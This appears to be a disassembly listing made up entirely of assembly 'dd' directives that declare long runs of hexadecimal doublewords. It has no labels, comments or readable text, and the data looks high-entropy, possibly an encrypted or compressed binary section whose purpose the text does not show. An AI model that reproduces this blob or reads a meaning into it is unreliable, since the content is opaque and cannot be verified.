		dd 0B1AD913Bh, 122C0E27h, 0BCE21813h, 0A6C11140h, 0F050A1C9h
		dd 2EDEBB01h, 644035BAh, 0CF20919h, 0C2FF15E0h,	43185070h
		dd 1A38CB32h, 0D13180B1h, 0E6BA2200h, 0D2180AF4h, 13AF047Eh
		dd 0C0C0F2F1h, 0B2DED756h, 38BA8A34h, 36E69040h, 12C9526Ah
		dd 32CA186h, 0E5124B48h, 0DC885189h, 3C71ECC5h,	0F0FBD500h
		dd 7C6A47D4h, 0E3AC07E8h, 5070BF98h, 0DD73D1D8h, 0A63B6B00h
		dd 37216A3Fh, 0DBCE0EE0h, 74807605h, 7A70D057h,	0D12A3400h
		dd 56B5CD44h, 0D76D00C1h, 2B08C74Eh, 0ECE3A965h, 0B400A5E1h
		dd 0C9B2F514h, 5C8FFDA8h, 55005559h, 0E798E9Ch,	0D9073CBAh
		dd 464F6801h, 2D8C43D0h, 0CB56001Fh, 11C09759h,	9C00D787h
		dd 0A961EEDFh, 1EBD6AD1h, 478D4B8Eh, 0A017DCC8h, 0E1F07D62h
		dd 8A929407h, 58618F08h, 31309910h, 2D3D0109h, 8D0D4725h
		dd 4006FBE0h, 24692904h, 50E66718h, 0BD1C04Fh, 0DE8F36Eh
		dd 6B00CFE8h, 3ABB907Eh, 0E8F5033Eh, 8CF8FB26h,	60980104h
		dd 0D128BC0Bh, 5C618034h, 3EBDAD94h, 7D311904h,	0F054194Eh
		dd 0FB18F548h, 55C1BB65h, 9A0C0086h, 62196182h,	7049EEAh
		dd 0B6C8B804h, 93D9C680h, 514400B7h, 8B27B4E8h,	0B2006FCCh
		dd 0C512F42Ah, 0C4A36009h, 40BE7719h, 0FD4A0D54h, 4B930635h
		dd 0E1A1C08Eh, 0E93D6530h, 31A78Ch, 892BEE61h, 68C822E0h
		dd 6AB16000h, 67D1E253h, 39DD6F65h, 4EC9C400h, 3400DFDBh
		dd 925E94AAh, 0EA0810h,	0EB2FBD9Ah, 2645290Bh, 0B6ECF0C0h
		dd 65ED5Ah, 934F7FE8h, 0D8FF9D8Ch, 0F2DA0D00h, 19692A9Bh
		dd 0BD8F0055h, 7BCDBCECh, 0D50780E4h, 61DA929Ch, 8860CEE7h
		dd 75AD8E9h, 0C2A3F991h, 83970DBh, 8203E358h, 0DD20D514h
		dd 0E60800B8h, 56C644CDh, 3E0097C7h, 0E0D40AA3h, 0CF0D1Ch
		dd 8D40AF11h, 858086F9h, 70D80730h, 50EAD20h, 12C1F19Ah
		dd 83E905DAh, 0BA54C00Dh, 660C0714h, 109208AEh,	8C4600FCh
		dd 0CE0255DBh, 0F60EB30Dh, 8088CF43h, 30D30B5Eh, 14E8E5h
		dd 0AE583E8Dh, 0A68CDCE1h, 71C0FB78h, 461C04B3h, 6DB83F9Ch
		dd 0C161BF39h, 0D0E5D275h, 5BF86F35h, 18D65835h, 60938DE0h
		dd 6079887h, 407D22B1h
		dd 3F007A71h, 3C019A41h, 93462F1h, 9E853D94h, 804EE703h
		dd 21280930h, 73DAF54h,	27516E79h, 0C6B3B046h, 3A00201Ch
		dd 29AF575h, 62C5A8Ch, 0D72F4BAh, 14073830h, 683B495Ch
		dd 1AEBDE0h, 8B066B3h, 7C002166h, 0D5D93B41h, 9F1C4Eh
		dd 6EFC3CC2h, 647759E5h, 62F4B819h, 9D184CB0h, 9E823D04h
		dd 5232D0ABh, 7D08326h,	710BC601h, 0FA6AE337h, 1421A066h
		dd 28D46A8h, 5A693B4Ah,	10553145h, 53B4273h, 0FCF80CA1h
		dd 13C0BB18h, 0C9FE4F3h, 0F0C79763h, 0D1003C28h, 7F8BC483h
		dd 37302196h, 3C088E72h, 0C4FCB021h, 0F56EB105h, 9C4022D2h
		dd 2BC50E3Dh, 1CF90784h, 0A0751981h, 0CCF43F7Eh, 88A02674h
		dd 0A500FF9Fh, 71F83669h, 3E90A0h, 382785BFh, 0CDC9E44h
		dd 293CE200h, 4E5B6924h, 4775009Ah, 96629558h, 7F0FFDD8h
		dd 8090D30Fh, 5100C6Eh,	1F0003Dh, 46F6D15Ch, 0A41D70C6h
		dd 4F0184C8h, 0CE8FBB32h, 1B840C8h, 168988A2h, 0EF5CD822h
		dd 910145D0h, 11D13Ch, 336D0921h, 7E4A43CCh, 30E218A8h
		dd 10941852h, 9D6AA000h, 91704160h, 6E7E65Ch, 37ABE2ADh
		dd 7B39286Dh, 855E9DECh, 7A2F9A03h, 429EE039h, 8B20C03Eh
		dd 410DD49Bh, 6478531Ch, 0D6451A80h, 3D3B63F6h,	9B0F0924h
		dd 5A472C03h, 0E29EE0A0h, 61C008A8h, 3FC75886h,	95DA0EA1h
		dd 5D419482h, 70B99616h, 0C4008F60h, 5244537Fh,	7B37CFCh
		dd 0D086D735h, 1829B0F3h, 0B62E75EBh, 17008CFBh, 0ED6C8F40h
		dd 0C893007Ch, 0DAB12610h, 0D7E6A6CAh, 0F8A07014h, 6EE61598h
		dd 8A903F84h, 0EC5BB0D2h, 57387B00h, 7D6C24Ah, 0B7B644F7h
		dd 16D53001h, 6F73F3BEh, 18367900h, 1DA07359h, 0B6FC1CC2h
		dd 352000E4h, 6CD685AAh, 0F9311801h, 8C716F7Eh,	30177E4h
		dd 3528B248h, 0C0BC03E9h, 0F916C366h, 3E9BB303h, 0FFEC8F6Fh
		dd 57BE406Ch, 717F0485h, 9610C0E2h, 0F27AFED0h,	958C8001h
		dd 0BEAE9A05h, 8E37E4h,	40E0F935h, 0FD886AA3h, 546829C2h
		dd 0B8DD0704h, 919EE590h, 559411F7h, 10664111h,	0E939E101h
		dd 7C166580h, 64C3F97Eh, 4739DB00h, 437A9A22h, 784D00E7h
		dd 2D31C81Fh, 46B8BDC6h, 936E7406h, 3A8C3085h, 0C4BDF439h
		dd 0FEDACA80h, 80364640h, 560047F2h, 9378506Ch,	1590C87Eh
		dd 806A6B2Eh, 0C380C639h, 0EF3DDFF8h, 0E000310h, 8A169046h
		dd 6FDD13h, 733AC79Ah, 0D9C44FC5h, 8FC0673Ch, 0E0C20AB0h
		dd 0EF9A3EA4h, 1A910065h, 0CC15190Fh, 80F41216h, 6D04E100h
		dd 0F6178F1Bh, 0D523005Ah, 5C2CA443h, 444CA079h, 0A2450099h
		dd 939D40Bh, 0F8643883h, 15A1FA80h, 0DEC27630h,	5FD50C00h
		dd 7E3F87A2h, 0F6F44CB3h, 9781E23Fh, 0C76C51EAh, 13D08069h
		dd 0A48268A7h, 793F5C4Dh, 16F4BD00h, 87B40CD0h,	0EED1F00h
		dd 0AE6777B1h, 68A5005Dh, 73CD8B75h, 0FE482562h, 0E65801B7h
		dd 65062D97h, 0D5C4D1D5h, 406F008Ch, 1C59457Eh,	0E8EE117Bh
		dd 0F6331700h, 8FA3DDC0h, 0E28504C5h, 0C0C10E52h, 0ACC4BC5Dh
		dd 0DDD6F600h, 2FEAC073h, 24F2E8A1h, 0E3B04C3h,	0CA204C5Bh
		dd 90A4F103h, 808E2D38h, 0DF9F6B2Ah, 3F3E885h, 98641D34h
		dd 0D4B04976h, 0E7B80992h, 1ECCCB00h, 72EAA828h, 0E1711FD1h
		dd 566600CFh, 0C5347C60h, 0D00059F2h, 4F44496Ch, 0E52ECBh
		dd 8A4EBFE3h, 0C901BCEEh, 4A90B700h, 8FAF850Dh,	70370049h
		dd 320611CCh, 0F5002B09h, 14C8BAFCh, 8FFD1h, 453790D5h
		dd 887CAF8Eh, 41665300h, 0A8CA4B63h, 0C1490062h, 0C2D14E7Bh
		dd 0CD60CB21h, 0DADD5034h, 3AAD004Fh, 0D1FE1FF4h, 9D3C9212h
		dd 0F7BD0009h, 6C39761Eh, 8A6800EAh, 0BF2CADBh,	0F9A0ED31h
		dd 0FD0E47ADh, 801E1AFBh, 5401B6FAh, 0B33F07Ah,	68DBB1E9h
		dd 0C9CC0380h, 970196F6h, 229964BCh, 1BFC8529h,	9EE400CFh
		dd 1D38B40Eh, 7D0006C1h, 0A1EEBB61h, 0C5CB46h, 0F7131B1h
		dd 5CA0FD66h, 0D907C9E4h, 17986C68h, 1B847030h,	0C4200191h
		dd 0A62D5261h, 2EA3ECAAh, 27F11F00h, 0BFAC9C12h, 0C18F0083h
		dd 77D9CA89h, 1B000820h, 594F0337h, 48A9FF8h, 5DE7C292h
		dd 2F5C80CBh, 45007F94h, 6740CF70h, 720392C3h, 895B0014h
		dd 3A54B7EAh, 0E30AB818h, 5C67F83Eh, 1DCB9C01h,	0AA61037Fh
		dd 0E945DE8h, 3526C73Fh, 0AD219280h, 0B4A0CD29h, 610005A3h
		dd 76F85DCAh, 2AE182h, 1D631034h, 93734FA4h, 0DF8BAE00h
		dd 0F9018C19h, 6DBE00CEh, 38B0A32Ah, 0E200E621h, 2E18AF06h
		dd 8EB4F5h, 0CD522715h,	2033ED3Eh, 6DCBB01h, 0A9EAF117h
		dd 1FD84C8h, 7710F231h,	0C8266F6Bh, 503B34D3h, 4F0F7B41h
		dd 2065A46Ch, 0E16099EAh, 0D7921FD6h, 85F2C701h, 58009910h
		dd 69355732h, 28207000h, 0E7A8B5D7h, 6BE60017h,	2E3C54ACh
		dd 521C9266h, 704091D0h, 0B0D76569h, 50290028h,	54E7DEF2h
		dd 0AB04AC30h, 0C8A67EA9h, 0EE0EA101h, 3171C5Bh, 0AF4D6E92h
		dd 0AAF0B8DAh, 8605905Bh, 0B44F31FFh, 3F95A802h, 0DDC05DE1h
		dd 5F00E9F8h, 3D310A5Ah, 7F6A86h, 939C4EBDh, 79037024h
		dd 0A3FC3Bh, 94338F42h,	0C971BBh, 8A781F67h, 0C5CDA0D9h
		dd 8ECBA700h, 7DE02A87h, 64FE27h, 0E22F694Fh, 957E0FC2h
		dd 4837F200h, 1FBD5DBEh, 7E9A904Ah, 0A470AFh, 0A0F7CC92h
		dd 76948412h, 0BC29B21Ch, 1F69700h, 315021Bh, 8C520D24h
		dd 0CFE0B089h, 0AD007E58h, 1EB8F4Bh, 1E4DF39Fh,	4E0E1C67h
		dd 7A400970h, 1EA24B06h, 0ED6D3Bh, 5EE81F4Fh, 713AD4CEh
		dd 37AE00A3h, 8FBF7E3Ch, 300B5FCh, 0A05E22F5h, 7141F9EDh
		dd 88C15098h, 9BE1002Fh, 0EAE82AB9h, 0AC00EDFBh, 6CA94429h
		dd 0E0697B6Ah, 46BA00A5h, 26AE1DE6h, 0F7009BE3h, 38E5C4F4h
		dd 2B75B5h, 91966A79h, 0DB3D4002h, 0B224B607h, 0A9104504h
		dd 0E2FA6FEh, 6FD07A8h,	799903E0h, 15177AFBh, 2C058168h
		dd 0DD009B5Dh, 0B78CC97Dh, 3B61079Dh, 30DBE4BFh, 830AF627h
		dd 77657E00h, 2CDEBE41h, 3A6E0048h, 0F796FB05h,	0CE00B606h
		dd 0D84CD5DCh, 0C0D74F88h, 0F533CB0h, 8201C538h, 17A5C0ACh
		dd 0F1F858BDh, 0C804000Ch, 0D53E2F5Dh, 91003A65h, 0CF285C5Bh
		dd 1E070F5Fh, 40CDFDC6h, 2E662F2Bh, 0CC0793E0h,	50804D98h
		dd 9CEFC80h, 0C022061Dh, 30EEB805h, 3E42850Fh, 148E35h
		dd 0E4C76473h, 8A812E48h, 0FE890198h, 319D9A75h, 0F6E83050h
		dd 5BA0600h, 84DEEABEh,	8CA94C7Ch, 0A269F00Eh, 7A1F600h
		dd 0CF003CD3h, 7CEEB2BFh, 7ABCF4FBh, 792F0039h,	0F0EA7510h
		dd 7400DCC6h, 7ADAFCE7h, 3CBA5E4h, 0F8B4AD6Bh, 0CEA8D493h
		dd 9A1D5884h, 298068D6h, 2CDF1D61h, 8947006Fh, 22ED14B1h
		dd 0FC01C72Bh, 0BC0FD805h, 74C8F97Ch, 0AAE50C07h, 4618061Dh
		dd 3F63901h, 2FAB80EEh,	2E7F4h,	58EC774Ah, 4D38F5CBh, 8DE08800h
		dd 4B22CF0Bh, 0A3F800C9h, 0C6CC5E72h, 801C53Ch,	0E516B343h
		dd 0A4F4FCBEh, 0CDF313F9h, 0BF04404Eh, 0E68DC8Eh, 60002C74h
		dd 0D6E80D43h, 488427h,	0FC7F743Fh, 929A7147h, 85668200h
		dd 639E0A58h, 4F3F0002h, 2DB98DEEh, 9800B1E6h, 30407F6h
		dd 4824A7FAh, 0FB0084C2h, 0BAF2F98Eh, 0AA003550h, 0EB780D66h
		dd 0B6BC38h, 0FC7BFA27h, 0B4FFD86Bh, 0DBBF1200h, 0AD8050F7h
		dd 40870031h, 0FDC87535h, 2638E829h, 0E420D4h, 0E6735F16h
		dd 2CB4D1D2h, 4C158A00h, 0A21CF48Eh, 0CCF332C7h, 15407211h
		dd 4B282342h
		dd 0DA00B001h, 1D87C725h, 71B28Fh, 6FA8F186h, 42E672B0h
		dd 8B9B7FCh, 803FFA80h,	247418h, 0EED59A61h, 5DE65EA9h
		dd 5C507360h, 1FA5FB20h, 0DDC4B13Dh, 2C1B073Eh,	273B5079h
		dd 0A300010Bh, 34AA5FFAh, 4B022Ah, 0F25BB6BBh, 0A26A1815h
		dd 9B3FFDE8h, 0CBDD00A8h, 6F31EFC4h, 227560h, 2AD0387Fh
		dd 0DD3E3DAh, 7B157201h, 0A64DCCEBh, 1ABAE8h, 0BBF52CA2h
		dd 79123014h, 85943D05h, 0C400C013h, 9B0AB4ACh,	4DE90025h
		dd 0ECE62712h, 9E003607h, 0B83E3FE4h, 443DBAh, 4DEFAB2Eh
		dd 9D6A06CBh, 8EDC1C00h, 55D11063h, 0AE273F6Ch,	95A8AB00h
		dd 11245EFBh, 0CD1D08BAh, 7030E403h, 1F15F65h, 0F2B75B38h
		dd 81B6FC1Dh, 404A5A89h, 3CEF7978h, 63171A11h, 952C20CFh
		dd 0A07C168h, 0E439530Ch, 378B5F80h, 0DFC630B6h, 42C44020h
		dd 38A01274h, 85008687h, 0E9560CE8h, 365B33h, 0EF653915h
		dd 0C457ABF2h, 18A1CD7Bh, 8B5C505Fh, 0AB00C098h, 91C3F89Fh
		dd 515EEE97h, 4EE01025h, 425800E4h, 68BA8C40h, 0A0001699h
		dd 0EC82F65Bh, 2E02EBh,	351C509Ch, 2514DC7Fh, 8E731F00h
		dd 0FCEEF6E1h, 0F29601F5h, 4A907098h, 59F43081h, 0D4579203h
		dd 0BF833Eh, 348B6CE0h,	0EDF7FA1Dh, 0D36398A8h,	231FA4B8h
		dd 30071F08h, 0E280B927h, 338E569Fh, 0B3A913BAh, 346A89A0h
		dd 8D4F7100h, 6664A615h, 26507A24h, 2021D43Eh, 26E6A080h
		dd 35841F36h, 0C6700023h, 3C24B842h, 0C5F44706h, 0FA80C310h
		dd 889F2C40h, 3E7400E8h, 1351CFADh, 3D3C4F1Dh, 22F2FF80h
		dd 672B653h, 58D92FD4h,	0A4F4912Eh, 614E08C0h, 2512119h
		dd 240A6276h, 0C4A0DAC5h, 5DB9ABC2h, 10A114Ch, 3E82BACh
		dd 0CDF0135Eh, 0F46C0FFFh, 41E0F5B4h, 583C46BFh, 0DDC88914h
		dd 0EDB080E4h, 0AEBE9Eh, 0A6ECEB68h, 696C375Ch,	44C7CD0Eh
		dd 5ED34083h, 63BDB2Ch,	0FF87D2F8h, 0D700E10Fh,	0DA86286Dh
		dd 3D607748h, 6E8BE2AEh, 3DF1FA5h, 84670B5h, 0AD67B5D1h
		dd 27F34400h, 0DA9015h,	0BBFFE972h, 8456DE05h, 6E652103h
		dd 908E1657h, 9A35E6h, 12D12D5Fh, 139994A7h, 1B02152h
		dd 8B5C4527h, 0D7BAE1h,	0DB660F69h, 0F7161923h,	53E3B000h
		dd 7B055AE9h, 0FBCC03BCh, 0B73B57EEh, 52E0D88Bh, 42000E4Eh
		dd 89433CE4h, 651FACE6h, 2F231036h, 5B190D04h, 0D1F41024h
		dd 0F85500FEh, 0B2DBAAA9h, 0D758CDA8h, 20296058h, 22E4E880h
		dd 8890D883h, 49128C5h,	7E33BE00h, 2A4AD6h, 0D18AE540h
		dd 0A9CC63FDh, 265FB00h, 0EF278DB2h, 0A0F0000Fh, 0DBADBC3Ah
		dd 81908F2Fh, 4C4EB800h, 3B9454B2h, 927A002Ah, 126A8142h
		dd 3200AE35h, 2408DED3h, 912F3Eh, 4F9896ABh, 0DF3CD85Ch
		dd 7C352B00h, 0B88325BEh, 68342872h, 24CB008Dh,	83752A8h
		dd 0D5191091h, 0D9188E78h, 4B0BBC0h, 96DF686Fh,	220DC017h
		dd 411FB383h, 450193B4h, 9F4F5895h, 3D29D4h, 81B6388Eh
		dd 0EA8657CFh, 25449800h, 0F92685A5h, 0D55B004Fh, 2975A868h
		dd 40B457Ch, 6D177Bh, 4F447EE1h, 0C05751BCh, 0EADF3F4h
		dd 0CC28C907h, 1B60BF60h, 800053D2h, 0E4E57509h, 11D6C7h
		dd 0E9999B83h, 45CB5FB9h, 84FA8A09h, 8277F6A2h,	3D72445Bh
		dd 371A8680h, 52010D26h, 13FEC6F9h, 15DC3BFAh, 4D3500B3h
		dd 255DA055h, 7B003128h, 230C4E51h, 7801A4Ch, 0D15995Eh
		dd 1777C2DCh, 55E60C40h, 38D82300h, 0BB91B693h,	52AD09DBh
		dd 43001BFDh, 0D7315937h, 574D4600h, 23B03377h,	39730032h
		dd 72A6F4C0h, 0F301EDADh, 559559BAh, 4D4A5B3h, 4B0C0FB5h
		dd 430741F1h, 60052079h, 0CC077C5Ah, 0AA3E85A0h, 59FCD4D1h
		dd 93D080E9h, 0F57A07BEh, 0E0C44F36h, 8974CA31h, 2584CF00h
		dd 82343FB7h, 4F37001Fh, 798A44F4h, 330013ECh, 0EA78FB35h
		dd 188FA90h, 0C1707191h, 803CE19Bh, 6CC822AEh, 439DD3h
		dd 45604ADFh, 0C31E71E9h, 1C212A48h, 0C040D1C5h, 528FCE8Ch
		dd 701A00FBh, 1990404Dh, 9E0782D2h, 0B48D69EEh,	402C6612h
		dd 616260h, 0A0B1641Fh,	0B39EE7F1h, 0F81CA428h,	0EBCFCE1Eh
		dd 669F2040h, 0D757C3h,	7BCBF5ABh, 0A653543Fh, 6A10B460h
		dd 7210F09h, 0A83DB3B0h, 0F08AF786h, 7BDD813Ah,	2F317904h
		dd 2C8758E3h, 0A0F07763h, 63E814h, 0F7E13335h, 7F112D84h
		dd 5D031DE0h, 6DE27B17h, 9D94800Fh, 8A5103E1h, 239EFCCAh
		dd 9001096h, 75608F40h,	14191404h, 98DB262Eh, 942A28h
		dd 73B02416h, 0E887A412h, 1A882D17h, 0E011950Ch, 7D76FA34h
		dd 18A72468h, 81618164h, 2024D98Fh, 0F0034C7Ah,	0AEDBD0A4h
		dd 0CA2000E1h, 43B8EC76h, 59483587h, 4C80097h, 0E80E8174h
		dd 0AD0D07B5h, 811DF56Ah, 0F419A107h, 43009F87h, 96807D61h
		dd 4F57EAh, 0EB24B065h,	163CA58Fh, 1E53110Ah, 5A00A8A8h
		dd 913126AEh, 9788C0ECh, 67C01DADh, 0E719DB1Eh,	4C9C9066h
		dd 0E1046A00h, 509CE338h, 5F6AC76h, 12A50BDh, 4A60090h
		dd 0E55C4ED7h, 0E26CD400h, 72C98A79h, 45ED03BFh, 80D1FEABh
		dd 48CC1900h, 76DB23E7h, 4F4100F7h, 0B7B95150h,	1F7BEAD2h
		dd 0BB847500h, 0F4CBF907h, 547F0098h, 2A4B654Ch, 5D002303h
		dd 19091605h, 2E4F4201h, 578D62h, 0C84806A2h, 91048BC9h
		dd 80D65F9h, 97E27090h,	9F9C0098h, 7A9BC68Eh, 0DB581A12h
		dd 1C54004Ah, 91958BFAh, 9C2000FDh, 4B5D0C2Ah, 5EB8BF69h
		dd 2100A877h, 0B91EE7D2h, 7A2498A2h, 7090B6h, 76DE31B2h
		dd 64BCF9B1h, 0FE35AD0Eh, 1F054718h, 6F062C60h,	4FD32689h
		dd 32604AAh, 14A8C06Eh,	7E24FB36h, 0DC012A64h, 0C512910Ah
		dd 79B9E0F7h, 75B1037Dh, 0A4812380h, 830EABD0h,	30D89307h
		dd 4440094Fh, 4249A18h,	573DBC1h, 9418802Bh, 0E5006B3Eh
		dd 0E4831231h, 3076D4B0h, 0AB21B6F5h, 0F41FBEF6h, 0B940D214h
		dd 0C0AC0367h, 0A7720026h, 2B31B450h, 0CB00F36Fh, 93526ADAh
		dd 0F0B2F73h, 0EA33EF5Dh, 0DE8EAEC3h, 4DE4D0D4h, 1D0055D0h
		dd 8E94ACDh, 1DF04925h,	80D25133h, 82042F87h, 1D908EF3h
		dd 0F19CD107h, 26D589EBh, 38BF3381h, 1B92CDCh, 722B4F63h
		dd 0E05F5A56h, 98005557h, 519F861Eh, 0BB45F1h, 0CFDA9570h
		dd 1CD180A9h, 17724D0Fh, 0E2C3C18Dh, 57FC8408h,	8272EDh
		dd 0ADC66285h, 4A2E8C5Ah, 54DBC707h, 0B747771h,	578EA480h
		dd 0F14F00B1h, 6F3112F9h, 5900A498h, 0B53728BBh, 0BD5811h
		dd 3AF9C047h, 9771E4BEh, 8F704A63h, 0F2F4D8C1h,	8ED30050h
		dd 0FBF8741Ah, 0F602ADCFh, 0D03E485Eh, 0A90077D5h, 0F0300257h
		dd 971D3CBAh, 0C6C08B83h, 258A5FA5h, 3CB00D2h, 727B99E7h
		dd 8000BBA1h, 15B887CFh, 1EC0E59h, 16D2A806h, 0E4D973BFh
		dd 0FB0739B9h, 9436ED8h, 0F35DABB3h, 0E19CF08Ch, 0A51D006Fh
		dd 0BDCB30ECh, 0A307F017h, 1ABBE239h, 9F06A1FEh, 9197E798h
		dd 0B7840067h, 0B94C58BFh, 18325930h, 0C03A339h, 2682D6CEh
		dd 41F6B10h, 63409C09h,	657E7284h, 25F60E87h, 738085D3h
		dd 2921BBB3h, 0F5F06F07h, 0AFD05A4Bh, 6181A353h, 2D9C71E1h
		dd 0BBB0600Fh, 2B00F27Bh, 0D17E1B38h, 19D84958h, 201EF827h
		dd 8BAE03C1h, 80DDE2C5h, 41E6790Ch, 0AA0C133h, 70AB0B19h
		dd 601F8CD0h, 6B5FDAA1h, 250E6740h, 1DADDD5Bh, 6CC2CBBFh
		dd 4C63021Ah, 0F5E04790h, 0D61F3A1Ch, 6880460Ah, 0A07B9732h
		dd 5D980086h, 0A6F2BA33h
		dd 0E905F85Ch, 770AA5CCh, 4B7481AAh, 9618895Bh,	8A8407B9h
		dd 786A6431h, 70EB2188h, 453CB130h, 5F710C42h, 31035EDh
		dd 4B27E104h, 78C119A5h, 8BB0191h, 526C014Ah, 0F4A42709h
		dd 0AD0146EFh, 24B59066h, 4FFC7E25h, 8C1419A9h,	0E49A900Dh
		dd 0B0A4399Dh, 0D753040Fh, 2A0276FFh, 60386141h, 0C03D08B8h
		dd 0D745A220h, 0E9070460h, 103C9EA8h, 723F05D0h, 0B86460E3h
		dd 0BFDB4238h, 10C05DF6h, 281A959Bh, 2890BEEh, 0C100C779h
		dd 65727A8Eh, 0DDB32B00h, 0D944BF32h, 28500C64h, 8BB269D5h
		dd 0FB2B9200h, 0E138003h, 58100439h, 80DAC841h,	8EF6988Bh
		dd 0EA83B900h, 0CD314B2Ah, 4ABF0F0Dh, 5CC520AAh, 0F88FC063h
		dd 0CF000910h, 0EA4BEC64h, 1E9EB9h, 11D5DB35h, 0C85E622Eh
		dd 39E0A60Eh, 815B80E9h, 9C478Ah, 0FC3368DBh, 0FEB6B40h
		dd 0A7600EE8h, 9C8FAD20h, 966800BDh, 233F2C06h,	0C019D5B7h
		dd 0DD51604Eh, 9C085018h, 0C43B68E6h, 58B44024h, 1F6EE39Dh
		dd 0C0C90CE4h, 15F08DBBh, 0E907D2E0h, 0B1707EE5h, 6DA308Ch
		dd 7958FA6Ch, 4920206Dh, 0EA8130E8h, 0CF3D5470h, 37ADA800h
		dd 0FC5D8417h, 0B60F3825h, 0A9C2197Bh, 80E130D8h, 42906AC0h
		dd 0CC5923h, 819D486Eh,	550E9935h, 0C4E518C0h, 185B976h
		dd 1D5A5EB4h, 0C83F521Ch, 4E0054F8h, 284B2F7h, 14391A4Fh
		dd 0F5312F47h, 1AB07Ch,	3207C978h, 5DE1E0CAh, 0ECCD0A00h
		dd 0A3D49162h, 5E482E6Ch, 8DED0014h, 0BE2D46F7h, 7741DE3Dh
		dd 0C02E5707h, 6C41D73Eh, 0EAD41052h, 80960312h, 1B401D3Ch
		dd 0E21A99E0h, 98634B00h, 7411F05Bh, 0EDE50FF9h, 38F84717h
		dd 0A51F46E4h, 8F00EEC6h, 42BAAB6Bh, 1D749857h,	917850h
		dd 4C3A03CCh, 2607B563h, 96EC9C86h, 511AED41h, 64018240h
		dd 710900F3h, 283FC016h, 60DFE3D6h, 5B0A2300h, 72C47256h
		dd 0D9EE01F6h, 0C5EA6209h, 0DD48F49Fh, 0E5EF1001h, 40672FE0h
		dd 52EC1583h, 4900DE0Fh, 0EA1712Eh, 0BEBF2h, 55D83951h
		dd 7AB4224Bh, 1C29D23Fh, 24A6A55Ah, 6D5EB51Dh, 40E198CCh
		dd 49E5600Fh, 2F677A93h, 7B0783FCh, 0B92A0484h,	0F368A530h
		dd 0D6255885h, 0BB5ED617h, 751FD41Dh, 8015130Fh, 0A4A1804Ch
		dd 0FCC1001Fh, 0AA395F2h, 3279697Eh, 7B39D860h,	1A8EDEBh
		dd 0FC89F0DFh, 0F822C679h, 2300C353h, 0D560D268h, 0C04BC25Eh
		dd 62CB7530h, 5D7E4D15h, 48DEE4E4h, 0B852C3CFh,	2ECC20h
		dd 0F6B18DC2h, 0E9C0F0E6h, 27181771h, 56B9EB63h, 80B6896Ah
		dd 66F53E08h, 76EDF7D9h, 5248C17Eh, 8C6BD7B1h, 31E38920h
		dd 6403B71h, 0D4BB7B8Fh, 0DB187D0Ch, 81646534h,	0A6299D83h
		dd 10563A19h, 57118C41h, 30D329AEh, 0F561E4A3h,	0C0080B3h
		dd 0FA987AC0h, 0EA7B7650h, 401E3BE4h, 2AAADB86h, 28045854h
		dd 70FB6EBh, 58C54200h,	0E2E016EEh, 2DC08A00h, 0CD14348Dh
		dd 990900A9h, 0F4FDA680h, 97183D45h, 0A5F00F49h, 0EBC30162h
		dd 57FC4AAAh, 30B44425h, 7CEACF88h, 0D9F53603h,	284A2935h
		dd 309C7538h, 3DB9CEA3h, 0F27A9063h, 39ACB100h,	45BDC176h
		dd 0A0EB7AE4h, 0A1F618h, 0A685F22Ch, 0B202609Eh, 0F052740Ch
		dd 2ADB49D6h, 3794458Fh, 5339EBD3h, 13C074B1h, 0C0A34DCh
		dd 0C4DAC136h, 9DC9A780h, 6C4CB4h, 38B83D43h, 0C751736Fh
		dd 4B91EB18h, 0A857C2D1h, 0B71AB8h, 2A6E779Ah, 493D272h
		dd 0F068152Ah, 96D844h,	70EA03C8h, 0E1F4C17Fh, 0ECEB572Ah
		dd 2890F06Ch, 8B3657Ah,	0E0884879h, 0C1615C80h,	2A031EEh
		dd 78F812A4h, 0DC873A9Eh, 1040CD52h, 0E289F61Ch, 6C079DFh
		dd 8A0C30FEh, 163B1CDAh, 46D88453h, 8C24970Fh, 8A49B8C9h
		dd 0CBC0030h, 0E0CE481Fh, 5501192Ah, 8CDE1827h,	2985B868h
		dd 7FE202h, 7623CE69h, 0F06C7022h, 96C1D50h, 5868AB24h
		dd 0F8694246h, 85F410Ah, 0E3600ECCh, 0A6F639E9h, 0B8237FF5h
		dd 314600C7h, 306C4822h, 0B7008F71h, 10DECA73h,	0C53E93Fh
		dd 0F436AE05h, 0B4564B59h, 0CF070584h, 3401FD5Ah, 221C3460h
		dd 0DEE18AF0h, 58B20081h, 0DBF4680Dh, 0F04AED2Ah, 70443C90h
		dd 7D9773A7h, 1FA900B2h, 3657309Ah, 4E16A568h, 0D600181Ah
		dd 70091B86h, 0E8D7634Bh, 0F10063C2h, 8A62B122h, 1E819251h
		dd 0FB312E1h, 40E4D296h, 0DBE48311h, 0A94449CBh, 9900923Ch
		dd 19068BBh, 76494B39h,	0E7A3003Ah, 7508C1EBh, 0D2267006h
		dd 0DCC064D6h, 252D8184h, 5A783EBDh, 485D60C4h,	21B25245h
		dd 20553E94h, 1C927A04h, 6FAB0801h, 70B631CDh, 91A284F0h
		dd 410E1B78h, 5F88AE80h, 663B3300h, 0ADBF4908h,	899203B4h
		dd 1E609085h, 8055302Ah, 12FA5D03h, 2AB9CCFBh, 67902710h
		dd 0C12C514Ch, 34A8A3ECh, 0BF0180F8h, 8DB132F1h, 94C0AE43h
		dd 52480091h, 0E9446F16h, 34F149C0h, 5A638D38h,	8B015B69h
		dd 5D9CC17Ch, 0A44C2C31h, 3A6840A7h, 7F323700h,	568D7DABh
		dd 389F5947h, 1806C810h, 0F4516DC2h, 0F900072h,	959A70EDh
		dd 550A66FAh, 0A0A2A148h, 2784B809h, 1C71E084h,	7D208EBFh
		dd 40DF0097h, 0FF879D57h, 5AE87DA8h, 7030C750h,	989288h
		dd 576C903Fh, 67523366h, 35E18909h, 0E2D2863Ch,	21550028h
		dd 3B4ABB56h, 9C914E88h, 10C3E134h, 0AC30C501h,	4D9BEA55h
		dd 5ED3ACB7h, 4F4901ACh, 0F4B73CCEh, 5E183853h,	0DC382ADEh
		dd 9C99D4EDh, 0C1F4B224h, 0C099A6A0h, 8A051AB3h, 86379714h
		dd 51185ABCh, 7BB881FCh, 23C031DFh, 5E7F547h, 87380EE0h
		dd 2162CE45h, 4C4DD44h,	31319E30h, 242C91F6h, 1E9F88Ch
		dd 2357F5B7h, 723C2061h, 49A1DC6Ah, 0DFA3A131h,	56F1834h
		dd 4061968Ah, 0F05FD765h, 0B3F97E36h, 14B8DC2Ch, 8144804Eh
		dd 0CB4E8DB0h, 0AC10C259h, 2270AC49h, 0E8BA9C00h, 942B18EFh
		dd 20436433h, 5A60D169h, 0D3E9851Fh, 0F89194BEh, 0DC11E3A9h
